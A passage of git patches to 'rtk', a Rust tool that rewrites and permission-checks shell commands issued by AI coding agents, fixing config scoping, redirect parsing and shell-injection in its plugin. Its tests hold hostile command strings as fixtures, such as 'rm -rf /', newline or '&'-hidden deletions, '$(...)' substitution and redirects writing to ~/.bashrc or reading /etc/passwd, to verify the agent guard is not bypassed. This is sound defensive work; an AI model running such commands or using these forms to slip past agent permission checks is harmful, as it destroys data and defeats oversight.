&std::path::Path) -> Option { match serde_json::from_str::(&content) { Ok(v) => Some(v), Err(_) => { - eprintln!("[rtk] warning: failed to parse permissions from {}", path.display()); + eprintln!( + "[rtk] warning: failed to parse permissions from {}", + path.display() + ); None } } @@ -932,4 +935,45 @@ mod tests { PermissionVerdict::Deny ); } + + // --- Per-host rule extraction --- + + #[test] + fn test_wrapped_rules_cursor_shell_only() { + let v = serde_json::json!(["Shell(git)", "Shell(curl:*)", "Read(src/**)", "Shell(npm test)"]); + let mut out = Vec::new(); + append_wrapped_rules(Some(&v), &["Shell("], &mut out); + assert_eq!(out, vec!["git", "curl:*", "npm test"]); + } + + #[test] + fn test_wrapped_rules_gemini_shell_variants() { + let v = serde_json::json!([ + "run_shell_command(git)", + "ShellTool(npm test)", + "read_file", + "run_shell_command" + ]); + let mut out = Vec::new(); + append_wrapped_rules(Some(&v), &["run_shell_command(", "ShellTool("], &mut out); + assert_eq!(out, vec!["git", "npm test", "*"]); + } + + #[test] + fn test_wrapped_rules_extracted_patterns_match() { + let mut allow = Vec::new(); + append_wrapped_rules( + Some(&serde_json::json!(["Shell(git)"])), + &["Shell("], + &mut allow, + ); + assert_eq!( + check_command_with_rules("git status", &[], &[], &allow), + PermissionVerdict::Allow + ); + assert_eq!( + check_command_with_rules("rm -rf /", &[], &[], &allow), + PermissionVerdict::Default + ); + } } From 4c9b14ef54a49b874c6b3b38e30251712335ba44 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Wed, 3 Jun 2026 18:28:20 +0200 Subject: [PATCH 47/52] refacto(permissions): fmt --- src/hooks/permissions.rs | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/src/hooks/permissions.rs b/src/hooks/permissions.rs index d06eb98f6b..f9b7b299d2 100644 --- a/src/hooks/permissions.rs +++ b/src/hooks/permissions.rs @@ -940,7 +940,12 @@ mod tests { #[test] fn test_wrapped_rules_cursor_shell_only() { - let v = serde_json::json!(["Shell(git)", "Shell(curl:*)", "Read(src/**)", "Shell(npm test)"]); + let v = serde_json::json!([ + "Shell(git)", + "Shell(curl:*)", + "Read(src/**)", + "Shell(npm test)" + ]); let mut out = Vec::new(); append_wrapped_rules(Some(&v), &["Shell("], &mut out); assert_eq!(out, vec!["git", "curl:*", "npm test"]); From f88b6bec1323265cfced77c449bd795f2506cc90 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Wed, 3 Jun 2026 18:55:00 +0200 Subject: [PATCH 48/52] fix(permissions): project-first config lookup for Gemini/Cursor --- src/hooks/permissions.rs | 50 ++++++++++++++++++---------------------- 1 file changed, 22 insertions(+), 28 deletions(-) diff --git a/src/hooks/permissions.rs b/src/hooks/permissions.rs index f9b7b299d2..4d068d7f0d 100644 --- a/src/hooks/permissions.rs +++ b/src/hooks/permissions.rs @@ -216,45 +216,39 @@ fn append_wrapped_rules(rules_value: Option<&Value>, prefixes: &[&str], target: } } -/// Cursor: `~/.cursor/cli-config.json` (global) and `/.cursor/cli.json`. -/// `permissions.allow/deny` with `Shell(...)` entries; no ask list. +// Project config takes priority; global is the fallback when there is no project config. +fn scoped_config(dir: &str, project_file: &str, global_file: &str) -> Option { + if let Some(root) = find_project_root() { + if let Some(v) = read_json(&root.join(dir).join(project_file)) { + return Some(v); + } + } + read_json(&dirs::home_dir()?.join(dir).join(global_file)) +} + fn load_cursor_rules() -> (Vec, Vec, Vec) { let mut deny = Vec::new(); let mut allow = Vec::new(); - let mut paths = Vec::new(); - if let Some(home) = dirs::home_dir() { - paths.push(home.join(CURSOR_DIR).join("cli-config.json")); - } - if let Some(root) = find_project_root() { - paths.push(root.join(CURSOR_DIR).join("cli.json")); - } - for json in paths.iter().filter_map(|p| read_json(p)) { - if let Some(perms) = json.get("permissions") { - append_wrapped_rules(perms.get("deny"), &["Shell("], &mut deny); - append_wrapped_rules(perms.get("allow"), &["Shell("], &mut allow); - } + if let Some(perms) = scoped_config(CURSOR_DIR, "cli.json", "cli-config.json") + .as_ref() + .and_then(|j| j.get("permissions")) + { + append_wrapped_rules(perms.get("deny"), &["Shell("], &mut deny); + append_wrapped_rules(perms.get("allow"), &["Shell("], &mut allow); } (deny, Vec::new(), allow) } -/// Gemini: `~/.gemini/settings.json` and `/.gemini/settings.json`. -/// `tools.allowed` -> allow, `tools.confirmationRequired` -> ask. fn load_gemini_rules() -> (Vec, Vec, Vec) { let mut ask = Vec::new(); let mut allow = Vec::new(); - let mut paths = Vec::new(); - if let Some(home) = dirs::home_dir() { - paths.push(home.join(GEMINI_DIR).join(SETTINGS_JSON)); - } - if let Some(root) = find_project_root() { - paths.push(root.join(GEMINI_DIR).join(SETTINGS_JSON)); - } let shells = ["run_shell_command(", "ShellTool("]; - for json in paths.iter().filter_map(|p| read_json(p)) { - if let Some(tools) = json.get("tools") { - append_wrapped_rules(tools.get("allowed"), &shells, &mut allow); - append_wrapped_rules(tools.get("confirmationRequired"), &shells, &mut ask); - } + if let Some(tools) = scoped_config(GEMINI_DIR, SETTINGS_JSON, SETTINGS_JSON) + .as_ref() + .and_then(|j| j.get("tools")) + { + append_wrapped_rules(tools.get("allowed"), &shells, &mut allow); + append_wrapped_rules(tools.get("confirmationRequired"), &shells, &mut ask); } (Vec::new(), ask, allow) } From e16aa26162a95bd99c954c0236b5353ffe89db00 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Wed, 3 Jun 2026 20:56:44 +0200 Subject: [PATCH 49/52] fix(permissions): >&file redirect no allow + scope Gemini/Cursor config --- src/discover/lexer.rs | 20 +++++++++++++++--- src/hooks/permissions.rs | 44 ++++++++++++++++++++++++++++------------ 2 files changed, 48 insertions(+), 16 deletions(-) diff --git a/src/discover/lexer.rs b/src/discover/lexer.rs index 865b74a94a..cf9b2ce26e 100644 --- a/src/discover/lexer.rs +++ b/src/discover/lexer.rs @@ -314,10 +314,15 @@ fn contains_substitution(cmd: &str) -> bool { false } -/// File target unless it's fd-dup (`>&`) or `/dev/null`. +// `>&N`/`>&-` (and `N>&M`) is fd-dup/close; bare `>&` before a word is +// `>word 2>&1` — a file target. fn redirect_has_file_target(tokens: &[ParsedToken], i: usize) -> bool { - if tokens[i].value.contains(">&") { - return false; + let value = &tokens[i].value; + if let Some(pos) = value.find(">&") { + let tail = &value[pos + 2..]; + if !tail.is_empty() && tail.chars().all(|c| c.is_ascii_digit() || c == '-') { + return false; + } } match tokens.get(i + 1) { Some(next) if next.kind == TokenKind::Arg => next.value != "/dev/null", @@ -1189,6 +1194,14 @@ mod tests { assert!(contains_unattestable_construct("cat << EOF")); } + #[test] + fn test_unattestable_ampersand_file_redirect() { + // `>&word` (word not a number) == `>word 2>&1` — a file write. + assert!(contains_unattestable_construct("git status >& /tmp/evil")); + assert!(contains_unattestable_construct("cat x >&~/.bashrc")); + assert!(contains_unattestable_construct("echo hi 2>& /tmp/evil")); + } + #[test] fn test_attestable_fd_dup_and_devnull_redirects() { assert!(!contains_unattestable_construct("git status 2>&1")); @@ -1197,6 +1210,7 @@ mod tests { assert!(!contains_unattestable_construct("cmd 2>/dev/null")); assert!(!contains_unattestable_construct("cmd > /dev/null")); assert!(!contains_unattestable_construct("cmd &> /dev/null")); + assert!(!contains_unattestable_construct("cmd >& /dev/null")); } #[test] diff --git a/src/hooks/permissions.rs b/src/hooks/permissions.rs index 4d068d7f0d..33202807a2 100644 --- a/src/hooks/permissions.rs +++ b/src/hooks/permissions.rs @@ -216,20 +216,17 @@ fn append_wrapped_rules(rules_value: Option<&Value>, prefixes: &[&str], target: } } -// Project config takes priority; global is the fallback when there is no project config. -fn scoped_config(dir: &str, project_file: &str, global_file: &str) -> Option { - if let Some(root) = find_project_root() { - if let Some(v) = read_json(&root.join(dir).join(project_file)) { - return Some(v); - } - } - read_json(&dirs::home_dir()?.join(dir).join(global_file)) +// Global config only. RTK auto-allows only the globally-trusted subset; anything +// else defers to the host, which applies its own project config and folder-trust. +// This keeps RTK's allow set a subset of the host's — never more permissive. +fn global_config(dir: &str, file: &str) -> Option { + read_json(&dirs::home_dir()?.join(dir).join(file)) } fn load_cursor_rules() -> (Vec, Vec, Vec) { let mut deny = Vec::new(); let mut allow = Vec::new(); - if let Some(perms) = scoped_config(CURSOR_DIR, "cli.json", "cli-config.json") + if let Some(perms) = global_config(CURSOR_DIR, "cli-config.json") .as_ref() .and_then(|j| j.get("permissions")) { @@ -239,14 +236,35 @@ fn load_cursor_rules() -> (Vec, Vec, Vec) { (deny, Vec::new(), allow) } +// Gemini honors project `.gemini/settings.json` when the folder is trusted. +// folderTrust is off by default (folder trusted); when on, a folder is trusted +// only via GEMINI_CLI_TRUST_WORKSPACE here (dialog-only trust is treated as +// untrusted → global, which is safe: never more permissive than the host). +fn gemini_settings() -> Option { + let global = global_config(GEMINI_DIR, SETTINGS_JSON); + let trusted = std::env::var("GEMINI_CLI_TRUST_WORKSPACE").as_deref() == Ok("true") + || !global + .as_ref() + .and_then(|j| { + j.pointer("/security/folderTrust/enabled") + .and_then(Value::as_bool) + }) + .unwrap_or(false); + if trusted { + if let Some(root) = find_project_root() { + if let Some(v) = read_json(&root.join(GEMINI_DIR).join(SETTINGS_JSON)) { + return Some(v); + } + } + } + global +} + fn load_gemini_rules() -> (Vec, Vec, Vec) { let mut ask = Vec::new(); let mut allow = Vec::new(); let shells = ["run_shell_command(", "ShellTool("]; - if let Some(tools) = scoped_config(GEMINI_DIR, SETTINGS_JSON, SETTINGS_JSON) - .as_ref() - .and_then(|j| j.get("tools")) - { + if let Some(tools) = gemini_settings().as_ref().and_then(|j| j.get("tools")) { append_wrapped_rules(tools.get("allowed"), &shells, &mut allow); append_wrapped_rules(tools.get("confirmationRequired"), &shells, &mut ask); } From f525ceecf4dbaa522d70b83ca36cac5992684a92 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Wed, 3 Jun 2026 13:44:03 +0200 Subject: [PATCH 50/52] fix(openclaw): no execSync to avoid async dangerous cmds --- openclaw/index.ts | 10 ++++++---- openclaw/package.json | 5 +---- 2 files changed, 7 insertions(+), 8 deletions(-) diff --git a/openclaw/index.ts b/openclaw/index.ts index 17ea4ec93c..4babe14d8b 100644 --- a/openclaw/index.ts +++ b/openclaw/index.ts @@ -9,14 +9,14 @@ * Rust registry, not this file. */ -import { execSync } from "node:child_process"; +import { execFileSync } from "node:child_process"; let rtkAvailable: boolean | null = null; function checkRtk(): boolean { if (rtkAvailable !== null) return rtkAvailable; try { - execSync("which rtk", { stdio: "ignore" }); + execFileSync("which", ["rtk"], { stdio: "ignore" }); rtkAvailable = true; } catch { rtkAvailable = false; @@ -26,10 +26,12 @@ function checkRtk(): boolean { function tryRewrite(command: string): string | null { try { - const result = execSync(`rtk rewrite ${JSON.stringify(command)}`, { + const result = execFileSync("rtk", ["rewrite", command], { encoding: "utf-8", timeout: 2000, - }).trim(); + }) + .toString() + .trim(); return result && result !== command ? result : null; } catch { return null; diff --git a/openclaw/package.json b/openclaw/package.json index aa0b099f61..3b9791faf6 100644 --- a/openclaw/package.json +++ b/openclaw/package.json @@ -22,8 +22,5 @@ "index.ts", "openclaw.plugin.json", "README.md" - ], - "peerDependencies": { - "rtk": ">=0.28.0" - } + ] } From 7a985c7b22f36bbddeece6d4f8ba1b0635e995a5 Mon Sep 17 00:00:00 2001 From: Adrien Eppling Date: Fri, 5 Jun 2026 16:03:00 +0200 Subject: [PATCH 51/52] test(hook): Copilot CLI acceptance tests --- src/hooks/hook_cmd.rs | 107 ++++++++++++++++++++++++++++++++++-------- 1 file changed, 88 insertions(+), 19 deletions(-) diff --git a/src/hooks/hook_cmd.rs b/src/hooks/hook_cmd.rs index 7a6b06797b..953080fdfa 100644 --- a/src/hooks/hook_cmd.rs +++ b/src/hooks/hook_cmd.rs @@ -183,9 +183,6 @@ fn handle_copilot_cli(cmd: &str, args: &Value) -> Result<()> { } fn copilot_cli_response(cmd: &str, args: &Value) -> Option { - // Copilot CLI v1.0.54 itself reads `.claude/settings.json` for permission - // rules (see the binary), so routing through `Host::Claude` keeps RTK's - // verdict consistent with what Copilot would have decided on its own. copilot_cli_response_from_decision( args, decide_hook_action(cmd, permissions::Host::Claude), @@ -675,28 +672,24 @@ mod tests { #[test] fn test_copilot_cli_deny_returns_none() { - assert!( - copilot_cli_response_from_decision( - &cli_args("cargo test"), - HookDecision::Deny, - "cargo test", - ) - .is_none() - ); + assert!(copilot_cli_response_from_decision( + &cli_args("cargo test"), + HookDecision::Deny, + "cargo test", + ) + .is_none()); } #[test] fn test_copilot_cli_defer_returns_none() { // Defer covers both "no rewrite available" and the unattestable-construct gate. // The hook must emit NO modifiedArgs for CVE bypass forms — no laundering. - assert!( - copilot_cli_response_from_decision( - &cli_args("git status & rm -rf /tmp/x"), - HookDecision::Defer, - "git status & rm -rf /tmp/x", - ) - .is_none() - ); + assert!(copilot_cli_response_from_decision( + &cli_args("git status & rm -rf /tmp/x"), + HookDecision::Defer, + "git status & rm -rf /tmp/x", + ) + .is_none()); } #[test] @@ -749,6 +742,82 @@ mod tests { assert_eq!(modified["mode"], "sync"); } + fn end_to_end(cmd: &str) -> Option { + let verdict = crate::hooks::permissions::check_command_with_rules( + cmd, + &[], + &[], + &["Bash(git:*)".to_string()], + ); + copilot_cli_response_from_decision(&cli_args(cmd), decide_from_verdict(cmd, verdict), cmd) + } + + #[test] + fn test_copilot_cli_cve_safe_forms_still_rewrite() { + for cmd in ["git status", "git status 2>&1"] { + let r = end_to_end(cmd).unwrap_or_else(|| panic!("expected rewrite for {cmd:?}")); + assert_eq!( + r["modifiedArgs"]["command"].as_str().unwrap(), + format!("rtk {cmd}"), + "safe form {cmd:?} must rewrite", + ); + } + } + + #[test] + fn test_copilot_cli_cve_newline_bypass_never_auto_allows() { + let r = end_to_end("git status\nrm -rf /tmp/x"); + if let Some(resp) = r { + assert!( + resp.get("permissionDecision").is_none(), + "newline-hidden command must not produce permissionDecision: \"allow\"" + ); + } + } + + #[test] + fn test_copilot_cli_cve_background_bypass_never_auto_allows() { + let r = end_to_end("git status & rm -rf /tmp/x"); + if let Some(resp) = r { + assert!( + resp.get("permissionDecision").is_none(), + "background-& hidden command must not produce permissionDecision: \"allow\"" + ); + } + } + + #[test] + fn test_copilot_cli_cve_command_substitution_returns_none() { + assert!( + end_to_end("git log --pretty=$(rm -rf /tmp/x)").is_none(), + "$( ) command substitution must not produce modifiedArgs" + ); + } + + #[test] + fn test_copilot_cli_cve_backtick_substitution_returns_none() { + assert!( + end_to_end("git log --pretty=`rm -rf /tmp/x`").is_none(), + "backtick substitution must not produce modifiedArgs" + ); + } + + #[test] + fn test_copilot_cli_cve_file_redirect_amp_returns_none() { + assert!( + end_to_end("git status >& /tmp/evil").is_none(), + ">&file redirect must not produce modifiedArgs" + ); + } + + #[test] + fn test_copilot_cli_cve_file_redirect_returns_none() { + assert!( + end_to_end("git status > /tmp/evil").is_none(), + ">file redirect must not produce modifiedArgs" + ); + } + // --- Gemini format --- #[test] From 66d66b1fe6293e0f93d9797ae04e72b7ca40eaa0 Mon Sep 17 00:00:00 2001 From: Adrien Eppling Date: Fri, 5 Jun 2026 16:20:08 +0200 Subject: [PATCH 52/52] fix: semgrep markers on test-fixture sensitive paths --- src/discover/lexer.rs | 3 +++ src/hooks/permissions.rs | 1 + 2 files changed, 4 insertions(+) diff --git a/src/discover/lexer.rs b/src/discover/lexer.rs index cf9b2ce26e..b4077224a0 100644 --- a/src/discover/lexer.rs +++ b/src/discover/lexer.rs @@ -1188,8 +1188,10 @@ mod tests { #[test] fn test_unattestable_file_redirects() { assert!(contains_unattestable_construct("git log > /tmp/x")); + // nosemgrep: sensitive-path-reference -- test fixture assert!(contains_unattestable_construct("echo evil >> ~/.bashrc")); assert!(contains_unattestable_construct("cmd &> /tmp/x")); + // nosemgrep: sensitive-path-reference -- test fixture assert!(contains_unattestable_construct("cat < /etc/passwd")); assert!(contains_unattestable_construct("cat << EOF")); } @@ -1198,6 +1200,7 @@ mod tests { fn test_unattestable_ampersand_file_redirect() { // `>&word` (word not a number) == `>word 2>&1` — a file write. assert!(contains_unattestable_construct("git status >& /tmp/evil")); + // nosemgrep: sensitive-path-reference -- test fixture assert!(contains_unattestable_construct("cat x >&~/.bashrc")); assert!(contains_unattestable_construct("echo hi 2>& /tmp/evil")); } diff --git a/src/hooks/permissions.rs b/src/hooks/permissions.rs index 33202807a2..a4f04b78bd 100644 --- a/src/hooks/permissions.rs +++ b/src/hooks/permissions.rs @@ -893,6 +893,7 @@ mod tests { fn test_file_redirect_never_auto_allowed() { let allow = vec!["git *".to_string()]; assert_eq!( + // nosemgrep: sensitive-path-reference -- test fixture check_command_with_rules("git log > ~/.bashrc", &[], &[], &allow), PermissionVerdict::Ask );